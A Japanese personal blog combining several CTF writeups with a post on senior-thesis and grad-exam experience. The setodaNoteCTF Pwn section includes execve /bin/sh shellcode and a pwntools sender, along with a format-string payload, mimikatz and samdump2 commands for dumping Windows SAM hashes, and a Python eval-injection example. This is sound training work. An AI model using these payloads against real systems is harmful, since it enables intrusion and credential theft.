setodaNoteCTF Writeup
久しぶりにCTFに参加しました。2週間あると楽しいですね。生活は壊れるけど。
1問だけ解けず、14位でした。 なぜか非全完民のなかでトップになってしまって恐縮しています(精進しろ)
解きながら書いた雑Writeupなのでたぶん参考にならないですが、自分のメモ代わりに書いておきます。 もしかしたら何か抜けてるかも。
Misc
welcome
- ログインする
- パスワードがわからない
morse_one
- モールス信号
- Dをトン、Bをツー、Sをセパレータ(?)として英語に直す
Hash
- sha256でハッシュ化されているので、
sha256sum hash/* > hoge.txt
で全ファイルのハッシュを取得 - 当てはまるハッシュをファイル内検索で探して、手動cat
F
magic_number
- ここでいうマジックナンバーは、ファイルをバイナリとして開いたときの初めの数バイトのこと
hexdump -C -n 4 magic_number/hoge.fuga
みたいな感じでチェックしていく
Stegano
- GIMPで光度の反転をすると中央、左上とやや右下に文字が現れる
- なんだかんだ気づくのに時間かかった…
morse_zero
- テキストではZしか見えないが、hexdumpで見るとたくさんある
- 各バイトごとに文字に置換して、出現頻度やパターンからモールス信号を考えていく
- 最終的にはmorse_oneと同じ形になる
ransom_note
- NPIEWI-DECRYPT.txtを見ると、GandCrabっぽい
- No More Ransom Projectが復号ツールを配布しているので、使うだけ
Nothing
- Whitespaceなので、オンラインのインタプリタを探して実行
i_knew_it
Redacted
- Adobe Illustratorでマスク外したり(?)してたら黒塗りが消えた
strong_password
- pythonで頑張ろうかと思ったけど、さすがに遅い
- ググると、john-the-ripper.zip2johnとhashcatを使ってGPUでBruteforceしていた
- 1分かからず出た
- hashcatでうまくパターンを書いてあげないと、変なパスワードが答えになってしまった
Network
Host
tkys_never_die
echo_request
- echo_requestに1文字ずつフラグ
- フラグによるとATT&CKにそういうのがあるらしい
stay_in_touch
- wiresharkでメールに添付のZipファイルを取り出してくる
- IMFをエキスポートしたらメーラーに読み込ませられるらしいけど、なぜか重要なやつだけIMFになってなかった…
- 頑張って問題のZipとパスワードをdumpしてbase64 -d
yes_you_can
- 車などの通信に使われるCANが使われているっぽい
- canplayerとICSimを使って動作しそうなことはわかった
- ここに配置されてるならそんなに難しくないはず…と思ったので、candumpして文字チェック
{
が含まれるのが244番のものだけっぽいので、grep 244
してみる- flagが1文字ずつ含まれているのがわかるので、uniqコマンドで重複削除
Digdig
Logger
- どうやらUSBのなにからしい
- うまく補足されてない8byteがデータっぽい
- Interruptで8byteなので、キーボードっぽい?
- ググると、初めの02がシフトの状態、その後の数字はキーの入力のようなので、うまくデコード
- シフトがうまくいかなかったので、後の数字だけデコードして手動で大文字に
tkys_not_enough
- pcapなのにWiresharkで開けない
- 前と後ろが怪しいのかと思って解析するも、特に何もなかった…前半はディレクトリ、後半はドライバ(?)、最後はWindowsのパフォーマンス?
- プロトコルがISAKMPになっているがHTTP通信をしていそう
Web
Body
- ソースを表示してflagで検索
Header
- インスペクタのNetworkからヘッダを見るとある
puni_puni
- punycodeなので、いい感じの変換サイトを探してくる
Mistake
- Bodyと同じ場所に
Webserver directory index
と書かれている- これは、indexファイルがなかったときに、そのディレクトリのファイル一覧を表示する機能
/web003/images/
にアクセスしてみると、flagが見える
tkys_royale
- SQLi
- よくあるパターンのSQLiを入れる
Estimated
- お詫びページで昨日のページを削除したと書いてあるけど、画像は消されてない
- 他の画像のURLから推測
Mx.Flag
Redirect
- 問題URLを開くと、最下部で
document.referrer
がGoogleかどうかをチェックしている- Googleで適当に検索して、aタグを無理やり問題URLに書き換えてアクセスすると、Nice try
- いっぱいリダイレクトしてそうな動作
- curlでリダイレクトを1つ1つ追ってみる
- めんどくさい
- callbackとかdataを見ているページがある
- どうやら
callback=getFlag
にするとよさそうなので、URLを書き換えてやる
- どうやら
OSINT
tkys_with_love
- コールサインから飛行機かと思ったので、「飛行機 C6DF6」で検索したら船が出てきた
Dorks
- inurlを使う
filters_op
from:@cas_nisc until:2017-05-16
MAC
- MACアドレスのベンダー部分とベンダー名の1文字目
tkys_eys_only
- 座標が見えるので検索
- 答えが一意じゃない気がするけど、組織名というのをヒントに
MITRE
- MITRE ATT&CKのIDが並んでいるので、頑張って検索して頭文字を取っていく
Ropeway
- 画像をGoogle Imageにかける
N-th_prime
- オンライン整数列大辞典の
A033844
で、Linkのページに2n番目の素数が列挙されているので、56のところをコピペ
identify_the_source
- VirusTotalみたいなサイトに片っ端からHash入れてみる
- Hybrid Analysisで7月に分析されてる…?
- 下にURLが書かれてるが404でNice Try
- ならInternet Archiveとか?
secret_operation
- とりあえずURLにアクセスしてみると自分の所在地が見えてそう
- ロシアにすればいい?
- プロキシがよくわからなかった(ちょっとこわい)ので、Torで出口ノードを固定してアクセス
torrc
にExitNodes {ru} StrictNodes 1
を追記
- TwitterとLinkがある
- Twitterのいいね欄の初めに、Twitterのpng画像が実はzip展開できるツイートがある
What you need is always there from the start.
なるヒントっぽいものを元に、初めのツイートの写真をzip展開するとBasic認証の鍵- Linkから入ると、またロシアからアクセスするのを求められるが、ロシアからだとフラグ
Crypto
base64
rot13
- rot13
pui_pui
- 適当にCで
char* str = "\x41...";
でprintf
tkys_secret_service
lets_bake
]b2[
でBase64が分割されていそうなので、1つ目を掛けてみると、From_Base64('A-Za-z0-9+/=',true)
- 2つ目以降がわからない…試しに初めのsを消してみるとデコードできた
- デコードできた文を検索にかけてみると、CyberChefを使いそうなので、Recipeの通り組み立ててフラグ
vul_rsa_01
- FactorDBでNを検索すると素因数分解ができる
vul_rsa_02
- クソデカeなのでWiener's Attackかな?と思って実装した
c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681 n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 def f(a, b): ret = [] q, r = a//b, a%b a0, a1 = 1, q b0, b1 = 0, 1 while r: a, b = b, r q, r = a//b, a%b a0, a1 = a1, a0 + q * a1 b0, b1 = b1, b0 + q * b1 ret.append(b1) return ret p_d = f(e, n) for d in p_d: pt = pow(c, d, n) print(long_to_bytes(pt))
WEARECIA
- CIAの暗号ってなんや?と思って調べたら、Kryptosというのがあるらしい
- Kryptosの暗号の序盤が、問題文の前半と一致する
- Kryptosの序盤はヴィジュネル暗号というやつみたいで、解説サイトを元にPythonで解読した
Rev
Helloworld
ELF
- ファイルの初めのマジックナンバーが壊れているので、
7f 45 4C 46
に書き換えて実行
Passcode
- 実行して適当に入れてみると、8文字っぽい
- stringsをすると、ちょうど8文字の数字がある
Passcode2
- 実行して適当に入れてみると、11文字っぽい
- angrが動かなくてキレそう
- gdbに突っ込んでみるけど、うまくブレークポイントが貼れない
info proc map
あたりで適当にブレークポイント貼りまくってみたら止まったので、scanfするあたりまでいい感じに進める- あとは普通に1文字ずつチェック
to_analyze
- dnSpyに掛けてみる
- コードの断片が見える…文字列をデコードしてそう
- C#わからないので、Cで同じ動作をするコードを書く
- 普通に実行するとOK
Forensics
paint_flag
- unzip paint_flag.docx
Deletedfile
foremost deletedfile.raw
Timeline
- WindowsのActivitiesCache.dbが渡される
- ググるとWindowsTimeline parserが出てくるので、解析
- 開いたテキストファイルをETagの若い方から読んでいくとFlagになっている
browser_db
- sqliteで開くと、moz_placesテーブルに閲覧履歴があって、いい感じにフラグがある
MFT
- MFTECmdで解析
- ファイルサイズで絞り込んだけど、これ作成日時とかどうやって見るの…?
tkys_another_day
- アニメーションできるAPNGなので、待っていると文字が出たり隠れたりする
- APNGの編集ができるサイトにアップロードしたら、隠れている部分が見える
TITLE (解けず)
- QRコードっぽいのがあるので、復元する?(できなくない?)
- 別の人のWriteupによると、画像の高さが変えられているみたい。
CSIRT_asks_you_01
- evtxファイルをpythonで解析するものがあったので、XMLをそのままtxtに出力
- EventIDが2624でLogonTypeが3のものが、ネットワーク経由でログイン成功を表しているので、頑張って探す
unallocated_space
- photorecで展開
- photorecの使い方がわかってないだけだった…
- 展開できたけどUbuntuでmp4見れなくてSlackに投げる謎行動をした
CSIRT_asks_you_02
$ samdump2 SYSTEM SAM
で得たハッシュのうち、前者がLMハッシュ、後者がNTLMハッシュ- パスワードが空白らしい???
- Windows10のAnniversary Updateからこういう感じになってる?
- つまり古い解析ソフトだと無理っぽい
- ここで無限泥沼編になった
- mimikatzがいいらしい?
- Nortonがしきりに消そうとしてくるので停止させて実行
(mimikatz)# lsadump::sam /system:SYSTEM /sam:SAM
- ハッシュ出た
- あとはjohn the ripperに掛けてみる
- 実はhashcatとかを試してまた泥沼にはまりかけた
Programing
ZZZIPPP
- Pythonで1つずつ解凍していった
echo_me
- 100回数字を返すプログラムをPythonで書いた
- なんだかんだ終わってから文字列受け取るのがつらかった
EZZZIPPP
- パスワードがついただけ
- 時間がかかる…
deep_thought
- echo_meをevalにするだけ
- 改行忘れてなにも起こらん…になってた
Pwn
tkys_let_die
- 長入力でスタックを壊す
- 適当にabcdefgとか入力して、どこがgateに当たるかを探すのが速そう
1989
- CWE-143はフォーマット文字列攻撃
- 要は
printf("%s", hoge)
をprintf(hoge)
としてしまったので、%s
とか書かれると困るぞって話
- 要は
(攻撃アドレスリトルエンディアン)%08x.%08x.%08x.%s
でできる- また改行忘れて何も帰ってこなくて泣いた
Shellcode
- バッファの先頭アドレスが表示されるので、
シェルコード+(文字埋め)+先頭アドレス
の形を送ってシェルを立ち上げたい- Python3のバイナリの使い方がわからんのよ(CV: ノブ)
- Python3がつらかったのは省略
- 適当に文字を8の倍数分いれていくと、80文字を超えるとセグフォしてそう
- シェルコード+埋め分を
printf '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > shellcode
で作成 - Python3ではアドレスを4回(念のため)送りつけるところだけ
from pwn import * io = process('./shellcode') # io = remote('10.1.1.10', 13050) print(io.recvuntil('[0x')) p = io.recvuntil(']')[:-1] print(p) print(io.recvuntil('> ')) addr = p64(int(p.decode('utf-8'), 16)) with open('shellcode', 'rb') as f: io.send(f.readline()) for i in range(4): io.send(addr) io.send('\n') io.interactive()
EEICのB4を振り返る
こんにちは。Repsterです。
最近よくRespterとtypoしますが、高確率で気づきません。
2/14に一応卒論を終えました。
まだ修正をちゃんと終えられていないので週末に頑張ろうと言っていたら、何もしないまま3連休が過ぎていっています。「反省しているんです。ただ、これは私の問題だと思うが、反省をしていると言いながら、反省をしている色が見えない、というご指摘は、私自身の問題だと反省をしている」
修正は頑張るとして終えることはできたので、時系列に沿いながら、こうだったなあ/もっとこうしていればよかったかなあという雑感を書いておきます。参考になりそうなところは参考にしてください。
一応EEICの卒論と院進の話なので、それ以外の人には参考にならないかも。
学部の卒論は時間との戦いの面が大きいです。これは本当。
4月に配属、8月には夏院試、9/10月に中間審査、2月に卒論審査。人によっては1月には冬院試。余裕があるとは言えない。
テーマは4-5月中に決められると本当にいいです。その後少々ブレるとしてもどういうことをやるのかは早めに決めたいです。私は6月だった気がします。先輩や先生に、やってみたい研究案とかよくある研究課題とかを聞いてみるとヒントになりそうです。
先輩の研究テーマを引き継ぐというのはやりやすいです。ただし、ソースコードなどを引き継ぐ場合にはその細かい実装がわかっている先輩がいる場合にしたほうがよいと思います。私はこれで苦しみました。スパゲッティコードを読み解くのは時間的にも精神的にもつらいです。一般向けに公開されているものと違って、動けばOKという感じで書いている人も少なくないはずなので、誰も詳細実装がわからないコードはしんどいかもしれないです。私は最終的に全部書き直して整理しました…(わかりやすくなったとは言ってない)
7月までに何か動作するものやグラフみたいな、目に見えて進捗があるものができていると、院試後から中間発表までの気が楽です(研究室の方針)。たしか私はできなかったので、中間発表直前に突貫で引き継いだソースコードを改変してプロトタイプを作りました。
院試は8月に入ってから本格的にやる感じで大丈夫ですが、早めに触れて感覚を取り返しておいたほうがいいです。EEICでは情報理工学系研究科か学際情報学府を受ける人がほとんどだと思いますが、情理はペーパー重視で面接は答えられたらOKという感じ、学府はペーパーより研究計画プレゼン重視という感じです。
英語は、夏はTOEFL ITPを受ける人がほとんどですが、もしiBTを受けるのであれば春休み中に受けておいたほうがよさそうです。たぶん1回だけで高得点を出すのはしんどいので、お金に余裕があれば2回以上受けましょう。
数学は、情理は正直難しいので解けるものをちゃんと解けるように。学府は計算を速く正確にできるようなところを聞かれているような気がする。
専門は、情理はEEICの講義でやったような気がするなあという感じのものが出るので、復習を中心に回すのがよさそう、学府はあれは何?本読んで書かれていたことを思い出しながら小論文書くのもできるので、逃げとしてそちらの対策もしたほうがよさそう。
学府はプレゼンをしっかり詰めましょう。私は詰めきれなかったので質疑で泣きを見ました。
院試が終わると、とりあえず中間審査に向けて研究を立てていきます。この期間に研究室合宿があるところも多いと思います。なんとか頑張りましょう。B4に夏はないです。
中間審査が終わると開放感がありますが、この期間にダレて研究に戻れなくなる人が見られるので踏ん張り時かもしれないです。粛々と研究をやっていく。
基本的に11月までに実装、12月に実験を終えて、1月に執筆するイメージをしておくと、絶対遅れるので結局いい感じになりそうです。
冬院試を受ける場合1月末〜2月頭に試験があるので、これより2週間は早い想定で動いたほうがよさそう。あと冬はTOEFL iBTがほぼ必須なはずなので、冬受けるつもりなら11月ぐらいまでには受験しておく。
2月の卒論提出・卒論審査は頑張りましょう。リポDは魔剤より健康らしいです。
あと、人によっては学会投稿をすることがあります。私はまだやってないです。
自分の研究のことが実装レベルでわかる人が同期なり先輩なりにいれば、めちゃくちゃ心の支えになると思うので、そういう人を作りたいねと思った1年でした。方向性のレベルではたくさんアドバイスもらったけど、実装が全部正しいかやなんでこの挙動になるのかを全部自分だけで知るのは正直人間には無理ではというお気持ちになりました。
たぶん以上です。なにか思い出したら加筆します。
あと敬体と常体めっちゃ混ざってるね。
SECCON CTF 2019 Writeup
こんにちは。Repsterです。生きています。
SECCON CTF 2019に参加したのでWriteup。
coffee_break
暗号文とEncryptのコードから平文を出すやつ。
暗号文はFyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905
で、コードは
import sys from Crypto.Cipher import AES import base64 def encrypt(key, text): s = '' for i in range(len(text)): s += chr((((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20) return s key1 = "SECCON" key2 = "seccon2019" text = sys.argv[1] enc1 = encrypt(key1, text) cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB) p = 16 - (len(enc1) % 16) enc2 = cipher.encrypt(enc1 + chr(p) * p) print(base64.b64encode(enc2).decode('ascii'))
Base64で戻して、AESも鍵がわかるので戻す。 あとはencryptの逆関数を書く。剰余取っている部分はASCIIの範囲を考えて0or1回足す感じにした。
def decrypt(key, enc1): s = '' for i in range(len(enc1)): temp = ord(enc1[i]) - 0x20 temp -= ord(key[i % len(key)]) - 0x20 temp += 0x20 if temp <= 0x20 or 0x7f <= temp: temp += 0x7e - 0x20 + 1 s += chr(temp) return s
変なの付いてきたけどSECCON{Success_Decryption_Yeah_Yeah_SECCON}
Beeeeeeeeeer
難読化されたシェルスクリプトが渡されるので頑張って読み解く問題。 難読化シェル芸みたいなのでググると出てくる。なぜか実機では動かせなかった……
読みにくいのでとりあえず;
の後で改行するように整形した。
実際にシェルでコマンド実行してちょっとずつ書き換えていったのでつらくなった。
まず大事なのはクソ長echo文とそれのちょっと前。
$'\145\170\160\157\162\164' $'\u0053\u0031'=$(echo aG9nZWZ1Z2EK |base64 -d); echo -n <VERY-LONG-BASE64> | base64 -d | gunzip | bash;
1行目はecho $'\145\170\160\157\162\164'
みたいな感じで読み解いていくと、export S1=hogefuga
であるのがわかる。
2行目をgunzip
まで実行したものをファイルに出力すると、これまた難読化シェル芸。
次に大事なのもクソ長echo文とそのちょっと前。
echo <A-LITTLE-LONG-BASE64> | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ) $(echo XDJY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNnmSzL |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\162\145\141\144' $'\u006e' </dev/tty; $'\u0065\u0078\u0070\u006f\u0072\u0074' $'\156'; echo <VERY-LONG-BASE64>|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash
これを書き換えると
echo -ne '\a'; sleep 1; echo -ne '\a'; sleep 1; echo -ne '\a'; sleep 1; echo "How many beeps?"; read n </dev/tty; export n; echo <VERY-LONG-BASE64> | openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;
このときn=3
なので、3を入れて一番下を実行すると、見た目は今までとは違うがまた難読化シェル芸。なに?????
これと同じことをやってるっぽい。
またがんばって少しずつ解読すると、Enter the Password
と聞かれたあとに入力を待つが、その後に: password is bash
というヒントがある。これは_____
もう少し解読すると、echo SECCON{$S1$n$_____}
とFlagを出しているところがあるので、これまでのをまとめるとSECCON{hogefuga3bash}
まとめ
日曜日にセキュリティスペシャリスト試験がなければもっと解けたと思う(負け惜しみ)。
SECCON Beginners 2019 Writeup
学科同期で参加してチームでは35位。
初めは調子よかったのに後半思ったより解けなくてくやしさある。
Welcome (Misc)
がんばる
ctf4b{welcome_to_seccon_beginners_ctf}
Seccompare (Reversing)
0x4006b9
でstrcmp
しているので、そこにブレークポイントおいて実行するとRDIにフラグが入っている
ctf4b{5tr1ngs_1s_n0t_en0ugh}
So Tired (Crypto)
何回繰り返すのかわからないので、とりあえずpythonでがんばったのが以下。 めんどくさかったのでファイルに書き出したけどそれなりに容量食ってそう。
import base64 import zlib i = 1 while True: try: with open(str(i) + '.txt', 'rb') as f: data = f.readline() with open(str(i + 1) + '.txt', 'wb') as f: decode = base64.b64decode(data) f.write(zlib.decompress(decode)) except: break i += 1
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
Party (Crypto)
party
とval
という2値が3組と生成コードが与えられるので、いい感じにデコードする問題。
encrypt.py
を見ると、FLAG
をbytes_to_long()
にかけてできたsecret
に、2つの乱数を後ろに連結したリストcoeff
がある。
これを、party
と組み合わせてval
という値が生成されているので、その生成関数f
を見てみると、以下のようになっている(x
がparty
となる)。
def f(x, coeff): y = 0 for i in range(len(coeff)): y += coeff[i] * pow(x, i) return y
このとき、coeff[0]
にほしいsecret
が入っている(coeff[1]
,coeff[2]
は乱数)ので、party
で割った値を出力してやればうまくcoeff[0]
の値175721217420600153444809007773872697631803507409137493048703574941320093728
が手に入る。
これをlong_to_bytes()
にかければフラグ。
解法コードは以下。
from Crypto.Util.number import long_to_bytes party = 5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787 val = 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933 print(long_to_bytes(val % party))
Shamir(シャミア)って書いてあるけど、いまいちつながりがわかってない…
ctf4b{just_d0ing_sh4mir}
Leakage (Reversing)
バイナリだけが渡されるので、とりあえずdisassしてgdbした。
0x400643
のcmpにブレークポイントを置くと、al
(入力文字)と[rbp-0x5]
(正解文字)が比較されているので、x/b $rbp-0x5
で正解文字を調べて1文字ずつ解読していった。つらい。
フラグの文章がそうなってるのでもしかしたら想定解答なのかもしれない……
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
見かけたWriteupメモ
SECCON Beginners CTF 2019 Write-up - Theories of Pleiades
SECCON Beginners CTF 2019 Writeup - こんとろーるしーこんとろーるぶい
SECCON Beginners CTF 2019 Writeup - yoshikingのがんばる日記
SECCON Beginners CTF 2019のWriteup - CTFするぞ
SECCON Beginners CTF 2019 writeup - アオカケスの鳥かご
beginners ctf 2019 himitsu writeup - 空地
PlaidCTF2019 Writeup
こんにちは。Repsterです。
PlaidCTF 2019をやりましたが、高校同期が泊まりに来たりしたのであまり時間を掛けられなかったので1問しか解けませんでした。
Can You Guess Me
問題としては数字当てゲームという名目なんだけど、だからといって総当たりするのはさすがにヤバそう…
配布されていたコードは以下。
#! /usr/bin/env python3 from sys import exit from secret import secret_value_for_password, flag, exec try: val = 0 inp = input("Input value: ") count_digits = len(set(inp)) if count_digits <= 10: # Make sure it is a number val = eval(inp) else: raise if val == secret_value_for_password: print(flag) else: print("Nope. Better luck next time.") except: print("Nope. No hacking.") exit(1)
コードはsecretがないので動かないけれども、やろうとしていることを書くと
- 入力を受け取り
- 使われている文字種が10種類以下であり
- その値が
secret_value_for_password
なら - フラグを表示
というものである。
うーん、このevalってなに?(検索)(CTFはGoogle力)
あー、eval('1 + 2')
ってやると3が返ってくるのか~~~
んー。適当に検索ワードにCTFって付けてみるか…
………!eval(__import__('os').system('ls'))
とかやるとlsが実行できるのか……これは穏やかじゃない。
じゃあなんかいい感じにsecret読めるようにできないかな?
……と思ったけど、これ__import__('os').
の時点で12種使ってない?無理やんこんなん。
あ、print(flag)
でええのか。あ、これも11種やん。
お!from secret import exec
ってあるやんけ!使お!
……exec()
と!(カチャカチャッターン)
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@ %@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@% @@@@@@@@ @@@, @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@ @@@@@@@ @@@ @@ @@@@@@@@@@@ @@@@@@@@@@% (@@@@@@@ (@@@@@@@@ (@@@@@@@ @@@@@@@@ @@@@@@@@@@@@*@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@@* @@@@@@@@@@@@@@@ @@ @@@@@@@@@@@&@@# @@@@@@@@@@ @@@@@ @@@ ,@@&(%@@@@@ @@@ @@@@ @@@@@@@@@ @ .@@@ @@@ @& @@@@@@ @@@@@@@@@@@@@ @@@@@ @@@@@@@, #@@@@@@@@@@@@@@@@@@ @@ @@ @.@@@ @@@@@@ @@@@# @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@ %@@&@ @ @ @@ @@ @@@@@ @@@@@@@%,(@@@@@@@@@@@@@@@@@@@@@@@@. @@@@@@@ .@@@@ @ @@@ @ @@ @@ @@@@@ @@@@@@@@@@@@@@@@ @@ @@@@@@@@@@@ @@@@@@@@@@@( @@@@@@@@@ @ @@ @@ @ @@@@ (@@@@@(@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@ @@@ @@ @@ @@@@* @@@@@ @@@@@@ @@@@@@@ @@ @@@@@@@ @ @@@ @@@@ @@@@ @ @@@ @ @@ @@@@@@@ @@@@ @@@@@ @@@@@@@@@@@@ @@@@@@@@@@ @@@@ @@@@ @@ ,@@@@@@@@@ @ @@@@@@@@ @@@@@@@@@@@@@@ @ @@@@ @@@@ @@@@ @@@@@@@@@ @@@ @@@@ @@@@@@@@ @@ @@@ @ @@@@ @@@@@ @@@@@@ @@@@@@@@@@ @@ @@ @@@@@@@@ @@@@@, @@@@@@ @@ @@@@ @@@@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@ @@@@@ @@@@@@@@ @@@@@@@@@@@( @@@@@@@@ @@@@@ @@@& @@@@@ @@@@@@@@@/ @@@@@@@@@@@@ @@@@ @@@@@@@@@ @@@@, & @@@@@ @@@@@ @@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@% @@@@ @@* ,@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@ @@@@ @@@@@@ @@@@ @@@@@@ @@@ ,@@ @@@@@@@@ @@@@@ @@@@@@@@@@@@@@@@ %@@@ @@@@ @@@@@@@@@@ .@@@@@@@@@@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@@ @@@@ *@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@@@@@@ .@@@@@ %@@@@ /@@@@@@@@@@@@@@@@@@@ @@@@@@.@@@@ @@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@/ @@@@@@@@@@@@@@@@@@@@@. @@@@@@ @@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
は?泣かす。絶対許さんぞ。(最近煽りCTFが多くてつらい)
えーimportも使えないしすでにimportされてるのもつかえなさそうやしどうしよう……
……組み込み関数かな?(検索)(CTFはGoogle力)
使えそうなのは……
dir()
か?print(dir())
!違うな……
vars()
か?print(vars())
!お!
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f58be0909e8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/guessme/can-you-guess-me.py', '__cached__': None, 'exit': <built-in function exit>, 'secret_value_for_password': 'not even a number; this is a damn string; and it has all 26 characters of the alphabet; abcdefghijklmnopqrstuvwxyz; lol', 'flag': 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}', 'exec': <function exec at 0x7f58bdfd9158>, 'val': 0, 'inp': 'print(vars())', 'count_digits': 10}
'flag': 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'
勝ち申した。
ちなみに
'secret_value_for_password': 'not even a number; this is a damn string; and it has all 26 characters of the alphabet; abcdefghijklmnopqrstuvwxyz; lol'
は?
ところで、64bit環境でもgcc-multilibとg++-multilibを入れれば32bitELFが動くことを初めて知りました。